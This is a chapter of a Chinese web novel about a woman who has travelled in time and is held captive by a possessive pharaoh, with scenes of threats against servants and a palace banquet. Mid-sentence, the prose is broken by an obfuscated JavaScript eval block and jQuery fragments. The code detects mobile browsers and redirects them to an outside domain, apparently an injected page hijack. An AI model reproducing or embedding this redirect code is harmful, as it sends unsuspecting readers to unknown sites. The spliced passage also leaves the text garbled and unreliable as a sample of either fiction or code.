“这一切都和我无关啊,为什么还要sha了我?求王饶了我这一命......”侍女的声音越来越远,直至彻底听不见。
这道尖锐的求饶声落在赫利厄斯的耳中,越发激起了他心中的暴戾,胸腔处升起一股难以言说的快感。
果然......
“救人”可不适合他。
桑晚躺在床上,听着殿外的声音,隐隐约约间,她好像听见了拔剑时发出的刺耳声,她浑身颤抖着将自己缩进被窝里。
赫利厄斯再度走到桑晚的床边,他发现了她对自己的恐惧,忍不住淡声一笑,他温热的指腹缓缓擦过她的下巴。
“怕什么?”
桑晚不敢说话。
“只要你乖乖听话,我不可能sha你的。”赫利厄斯继续说道。
桑晚吃力地点了点头,她又难受得闭上了眼睛。
见状,赫利厄斯满意极了。
如果是一只乖巧听话的金丝雀——
那他倒是不介意好好养养。
赫利厄斯吩咐侍女端来清水和食物,他坐在床边,扶起桑晚,声音难得变温柔一点:“吃点东西,这样才有力气。”
赫利厄斯舀起一勺水,轻轻吹凉,送到桑晚唇边:“先喝点水。”
桑晚烧得迷迷糊糊,她下意识地张嘴,温热的水流入干渴的喉咙,终于舒服了一点。
做完这一切,赫利厄斯从侍女端着的托盘上拿起盛着汤的碗,他的动作有些笨拙,一看就知道从来没有屈尊照顾过别人。
男人用勺子在碗里搅拌了几下,他垂着眼,从桑晚现在的角度看去,只觉得他少了白日里的冷峻,多了几分不易察觉的温柔。
赫利厄斯难得耐心地喂桑晚吃完东西,他将毛巾打湿后盖在她的额头上。
“这样好些了吗?”赫利厄斯低沉的声音在寂静的寝殿中响起。
桑晚轻轻点了下头,眼里布满迷蒙的水汽,眼尾薄红,看上去依然很难受。
见到这一幕,赫利厄斯的心蓦然软了几分,好像有根羽毛在他的心头不轻不重地扫过,有些痒。
夜深了,桑晚躺在柔软的床榻上,却止不住地颤抖。不知为何,她觉得特别冷,冷到牙齿打颤。
赫利厄斯一直守在她身边,黑暗中,他那双碧绿的眼睛闪着淡淡的光。他眉心微蹙,盯着桑晚看了几秒后,最终他掀开她的被子在她的身侧躺下。
男人宽大的手掌轻轻环住她纤细的腰肢,将她带入自己温暖的怀抱。
10. 世界四
桑晚在迷迷糊糊间,只觉得一股热源靠近自己,她本能地朝热源的方向偎依。她在他怀里找到了一个舒服的位置,蜷缩着身子。
男人的胸膛肌肉硬实,隔着薄薄的布料,他身上烫人的温度源源不断地传向她,强烈男性气息包裹全身。
这是赫利厄斯第一次与女子如此亲密接触。他身体微微僵硬,垂眸看着怀中沉睡的女子。
她的长睫在脸上投下淡淡的阴影,呼吸轻浅而均匀。
出乎意料的,赫利厄斯并不排斥这种感觉。
甚至,在某个瞬间,赫利厄斯觉得身边有这样一个女子的存在,似乎......还不错。
寂静的寝殿中,只有彼此的呼吸声交缠。
赫利厄斯就这样静静地抱着桑晚,直到天边泛起鱼肚白。
......
赫利厄斯对桑晚极好,在她生病的那几天里,他无微不至地照顾着她。
后来桑晚病好了之后,每当赫利厄斯闲下来,就会去她的寝殿找她。
大批的珠宝、首饰、衣服被赫利厄斯送到她的寝殿里,国库里一半的好东西基本都被捧到了她面前。
如果这些能博美人一笑,赫利厄斯当然乐意至极,可是并没有。
桑晚实在是太安静了,安静到脸上没有任何波澜。
每次赫利厄斯去找她时,发现她总是一个人坐在窗边看着外面发呆。
她的眼神中总是充满淡淡的忧愁。
那是赫利厄斯看不懂的情绪。
他当然不懂这些。
虽然赫利厄斯给了她无尽的金银财宝,对她也很好,可是她最大的心愿就是回到原本的时空。
她的家还在那里。
在她穿越的这些天里,她的家人得知她失踪的消息后会不会着急到寝食难安?
“这是大臣送来的黑猫,你看看喜不喜欢?”赫利厄斯推门而入,自顾自地在桑晚身旁坐下。
桑晚丝毫不意外赫利厄斯的突然到来,她接过他递来的黑猫,将其抱进自己的怀里,轻轻摸了一下。
“我很喜欢,谢谢。”桑晚微笑着说道,她的眼里透着微不可察的疏离。
“对我这么客气干什么?”赫利厄斯低沉富有磁性的声音在桑晚的耳边响起。
男人强有力的手臂横过她的腰际,将她拉进了自己怀里,他轻嗅着她身上淡淡的馨香。
桑晚的心猛地一紧,她能清晰地感受到赫利厄斯炽热的体温,以及他身上似有若无的压迫感。
此刻被赫利厄斯拥在怀中,桑晚的身体变得有些僵硬。她下意识地伸出手,想要推开赫利厄斯,手却在下一秒顿住。
桑晚的脑海中瞬间闪过无数念头。于是,她又小心翼翼地收回了手,身体轻微地挣扎了一下。
察觉到桑晚的动作,赫利厄斯更加用力地将她搂进怀里,他的手强势地掌在她的后脑勺处,强迫她靠在自己的胸膛处。
“别乱动。”赫利厄斯的呼吸有些重,灼热的喷洒在桑晚的头顶上方,喑哑的嗓音飘进她的耳中。
“医生说了,你的身体还需要再养一段时间,所以我暂时先放过你。”
温香软玉在怀,赫利厄斯只觉得很难耐,他眼神有些暗,神色晦暗不明。
赫利厄斯的话使桑晚稍稍松了口气,可她的心依旧悬着。
她不想呆在这里,成为他圈养的金丝雀。她更不想和一个她不爱的人度过余生,即使这个人曾救过她一命。
她得抓紧时间寻找到回去的办法,不能再耗下去了。
许多个漫长的夜里,桑晚常常独自坐在窗前,望着天边那一轮明月,她心中默默祈祷这一切只是一场梦境。
可当清晨的第一缕阳光洒下,她又不得不面对现实,面对赫利厄斯那存在感强烈的身影和目光。
她试图去了解赫利厄斯,想知道他为何会选中自己。是因为她的容貌?还是因为她不经意间的某个举动?
然而,赫利厄斯就像一本紧闭的书,她始终无法窥探到其中的秘密。
日子一天天过去,桑晚在赫利厄斯的庇护下,享受着优渥的生活,却也失去了自由。
未经赫利厄斯的许可,桑晚不能随意与他人交流,她甚至不能离开自己的寝殿。
赫利厄斯对她的感情也在这日复一日的相处中逐渐加深,他开始渴望得到桑晚的真心回应,而不仅仅是她出于恐惧的顺从。
这些只有他们两个当事人知道,外人们都不知道。对宫里的侍女们来说,她们十分羡慕桑晚,因为她是这么多年来唯一被赫利厄斯特殊对待的女子。
渐渐地,王宫上下流言四起,不少人都说桑晚将有可能成为未来的王妃。
越来越多人开始好奇桑晚。
那个被法老保护得很好的女子拥有什么样的魔力,能将向来不近女色的法老迷得神魂颠倒?
“我听说她来自遥远的东方,长得和我们都不一样。”一位侍女压低声音与旁人交谈着。
“什么样的?”
“说不清楚,总而言之,她很漂亮,见过一次你就知道了。”
侍女们兴奋地讨论着,丝毫没有注意到走向这边的法老。
赫利厄斯目视前方管自己走着,在经过那两个侍女时,他停下脚步,却没有分给侍女半分眼神。
“宫里的规矩是什么?”只听赫利厄斯冷冷说道,使人不寒而栗。
侍女们当即吓得腿软,跪在了地上:“宫里不允许随便说话。”
“明知故犯,很吵。”赫利厄斯的视线扫过一旁的侍卫,“把她们拖下去。”
“我们错了,再也不敢了。”侍女们大哭起来。
赫利厄斯冷眼看着这一切,他薄唇微抿,眼中没有半点怜惜,只有冰冷。
桑晚站在门后,小心翼翼地打开一道门缝观察着走廊外的情况。
在看到那两位侍女被拖下去时,桑晚的心也跟着沉了下去。
看,这就是杀人不眨眼的暴君。
如果她哪天不听话,她将得到和她们一样的下场。
她只有一次逃跑的机会,她必须把握住。
桑晚心乱如麻,她掩上殿门,又坐在了窗边。
另一边,走廊上。
“王,我们刚才在讨论未来王妃的容貌,我们只是一时好奇多说了两句,以后再也不敢了。”
“哦?”赫利厄斯微扬眉,他摆了下手,示意侍卫先松开那两位侍女,“你们讨论了她什么?”
“漂亮,我们夸她长得很漂亮,来自遥远的东方,而且——”其中一位侍女绞尽脑汁道,“她很善良,对我们下人是极好的。”
听完这些话,赫利厄斯脸上的冷意终于散去几分,他忍不住勾唇一笑:“饶过你们一回,再有下次被抓到,绝不轻饶。”
说罢,赫利厄斯转身走向桑晚的寝殿。
两位侍女瘫在地上,不敢相信法老这次竟然放了她们。
原来只要夸未来的王妃几句,就好了?
这次过后,宫里的谣言愈演愈烈,几乎所有人都说:桑晚将成为未来的王妃。
就连赫利厄斯本人也听说了这个谣言,但他并没有否认。他的举动在无形中肯定了大家的猜想。
......
为了庆祝同父异母的弟弟塔巴尔在战场上取得的辉煌胜利,赫利厄斯精心筹备了一场盛大至极的庆功宴。
金碧辉煌的宴会大厅内,灯火摇曳,映照在墙壁上那些古老而神秘的壁画上。
赫利厄斯携着桑晚,一同坐在了高台的主位上。
这是桑晚第一次出现在公众视野里。
她身着一袭华丽无比的长裙,细腻的丝绸在灯光的映照下闪烁着柔和的光芒,宛如尼罗河上粼粼的波光。
桑晚静静地坐在赫利厄斯的右手边,那是唯有尊贵的王妃才有资格落座的位置。
就在这时,塔巴尔身着战甲,端起酒杯,向赫利厄斯和桑晚走来。
塔巴尔的目光不经意间落在桑晚的脸庞上时,眼中瞬间闪过一丝不易察觉的惊艳。
在赫利厄斯未曾留意的角落,塔巴尔微微上扬嘴角,勾出一抹意味深长的笑容。
“兄长,长嫂,弟弟敬你们一杯。”塔巴尔举起酒杯,爽快地一饮而尽。
赫利厄斯也回敬一杯酒:“这次辛苦你了。”
兄弟俩对视,无形的硝烟弥漫开来,平静之下是风起云涌。
塔巴尔敬完酒,又回到了自己的座位上,宴会继续进行着。
宾客们虽不敢明目张胆地直视桑晚,但眼角的余光却频频朝着她飞来。
赫利厄斯敏锐地察觉到了这一切,他的心中顿时涌起一股强烈的醋意。
这就是他为什么不愿意让桑晚出现在大众视线的原因。
独属于他的宝物,只有他自己能欣赏。
想到这,赫利厄斯毫不犹豫地伸出手臂,搂住桑晚的腰肢,将她紧紧地贴着自己,无声地宣示着自己的主权。
桑晚的脸颊蓦然一红,她推了推赫利厄斯的胸膛:“别,那么多人看着呢。”
“没关系,我就是要他们看看,你是属于我的。”
赫利厄斯微微低头,看着桑晚的眼睛,认真说道:“你只能属于我。”一字一顿,他就这样明目张胆地告白。
桑晚不敢直视赫利厄斯的眼睛,她率先移开视线看向别处。
赫利厄斯怎么可能没看出她心之所想?
他强忍着心底泛起的酸涩,紧紧搂着她,他俯身在她的耳畔压低声音道:“没关系,我给你时间。”
桌子底下,赫利厄斯温热的手掌钳握她的手腕,他的拇指因为常年握剑有一层薄薄的茧子。
指腹磨蹭过细嫩的皮肤,粗粝,隐隐有力。下一秒,赫利厄斯松开桑晚的手腕,他的手指强硬地挤入她的指缝间,与她十指相扣。
桑晚下意识地想挣脱他的手,却无济于事。
她抿了抿唇侧目看了赫利厄斯一眼,径直撞上他微烫的视线。
“我可以给你时间,但不许你排斥我。”只听赫利厄斯说道。
宴会上的美食琳琅满目,赫利厄斯的目光落在桌上那鲜嫩欲滴的葡萄上,他拿起一串,细心地剥去外皮,露出里面的果肉。
“你太瘦了,多吃点。”赫利厄斯将葡萄递到桑晚的唇边,她微微张唇,含住他递来的葡萄,甜甜的味道从舌尖散开。
她的舌尖在不经意间碰到他的指尖,似有一道电流划过,赫利厄斯收回手,微不可察地蜷了蜷手指,他意犹未尽地摩挲了两下。
桑晚觉得有些不自在,为了掩饰尴尬,她急忙拿起面前的杯盏,将里面的酒水
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064685|163060||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一饮而尽。
她喝得太快,酒很辛辣,连带着喉管和烧起来一样,她忍不住咳嗽了几声,脸颊染上淡淡的绯红。
赫利厄斯看到她这副样子,一没忍住笑出了声,低低的嗓音从他的喉间溢出,连带着胸腔都在微微震动。
桑晚瞥了他一眼,因为难受,她的眼尾沁着泪花,这一幕落在赫利厄斯眼里,反而多了几分娇嗔的意味。
赫利厄斯嘴角微勾,他心情愉悦地抬起手拍了拍她的背:“酒可不是这么喝的。”
紧接着,赫利厄斯替她倒了一杯水,将杯盏推到她面前。他的脸侧对着光,衬得轮廓越发分明流畅。
“喝点水。”
桑晚侧目而视,两人靠得很近,从她的角度可以看到他性感的喉结。
见桑晚迟迟没有动静,赫利厄斯微挑眉,轻轻“嗯?”了一声,他的喉结上下滚动,嗓音微拖:“不喝吗?要我喂你?”
桑晚不动声色地收回视线,她一把夺过他手里的杯盏,将水喝了下去,这才回道:“不用。”
赫利厄斯又低声一笑,看得出来他今晚心情很不错。
赫利厄斯原本很讨厌参加这些宴会,但是这一次有了桑晚的陪伴后,他突然没那么排斥这些无聊的宴会了。
时刻注意着法老这边动静的老臣塔班终于看不下去了,他鼓起勇气站起身来到赫利厄斯面前。
塔班恭敬地向赫利厄斯行礼后,委婉地说道:“王,您如今已到了该娶妻生子、传承正统的年纪,这关系到王国的未来与稳定,还望您能慎重考虑。”
塔班的话语看似恭敬,实则暗藏玄机,他那犀利的目光时不时地在桑晚身上游走。
言外之意很明显。
塔班位高权重,他一直想着将自己的女儿送进法老的后宫,为自己家族谋取无上的荣耀与权势。
眼看着王妃的位置即将被一个来路不明的女子夺走,塔班当然不乐意了。
赫利厄斯抬起眼,冰冷的视线扫向塔班,明亮的光线下,男人意味不明地勾了下唇,一股难以言喻的压迫感从他周围弥漫开。
赫利厄斯往椅背上随意一靠,眼神中透露出一丝毫不在意的神情,骨节分明的手搭在把手上,指尖有节奏地轻叩着。
“不需要你来提醒我。”赫利厄斯似笑非笑道,“我有自己的决定。”
塔班见赫利厄斯如此油盐不进,他再也按捺不住,索性挺直了腰杆,直截了当地提出:
“王,您身为法老,应该迎娶一位出身位高权重家族的小姐,巩固您的统治地位。而不是与这样一位来路不明的女子在一起,这无疑会给王国带来诸多不稳定因素啊。”
赫利厄斯静静地听着,他眼眸微眯,透着一股不易察觉的冰冷气息,看向塔班的目光森冷异常。
“塔班,今晚你的话太多了。”赫利厄斯缓缓说道,他的嗓音惫懒而疏淡,“我不需要靠联姻来巩固我的地位。”
众人这下彻底明白了赫利厄斯的心思。
宴会结束后,赫利厄斯有要事需与大臣们商议,无奈之下,只得让桑晚先行回寝殿休息。
桑晚独自走在偌大的王宫中,四周一片寂静,唯有她轻微的脚步声回荡在空旷的宫殿中。
这是哪里?
她好像迷路了。
“迷路了吗?”一道声音自她的身后响起。
桑晚转过身,发现是塔巴尔。
“我带你回去,你跟我走。”塔巴尔微微一笑,看上去温文尔雅。
桑晚微微一愣,抬起头看着眼前这位英俊的男子,礼貌地回应道:“谢谢。”她跟在塔巴尔的身后。
“你来自哪里?”塔巴尔问道。
“东方。”
塔巴尔若有所思地点点头:“我曾在书里见过这个地方,那里很美,如果有机会,我希望我有一天能亲眼去看看。”
塔巴尔侧过头看向走在身侧的桑晚,眼眸温和,他笑道:“你可以和我说说那个地方是什么样的吗?”
“美食,风景都可以。”塔巴尔怕桑晚不知从何开口,又连忙添了一句,“当然,人也可以。”
桑晚陷入了沉思,她低吟几秒后,抬起头望着塔巴尔:“好,那我和你说说那边的风景吧,和这边的沙漠完全不同。”
两人有说有笑地走着,气氛融洽。
塔巴尔的目光始终停留在桑晚的身上,神情专注而认真。
在最后分别时,塔巴尔思考了几秒后,从自己的袖子里拿出一个精美的镯子,上面雕刻着神秘的图案。
“我很喜欢和你聊天,如果有机会,我下次再来找你。感谢你今天向我分享了东方那边的风景,作为答谢,我送你这个漂亮的镯子。”
桑晚连连摆手,脸上带着浅浅的笑:“你不用送我这个,和你聊天我也很开心。”
塔巴尔却坚持己见,他不容桑晚拒绝,直接握住她的手腕,将镯子套在了她的手上。
“这镯子与你甚是相配。”塔巴尔满意地点点头。
桑晚垂眼看着腕间的手镯,鬼使神差间,她用另一只手轻轻抚过镯子上的纹路,只见一道淡淡的金光浮现,一段神秘的文字浮现在空中:倒计时5天。
见状,桑晚的心头猛地一跳,一种强烈的预感涌上心头,她猜测这个镯子或许是她回到原本时空的唯一希望。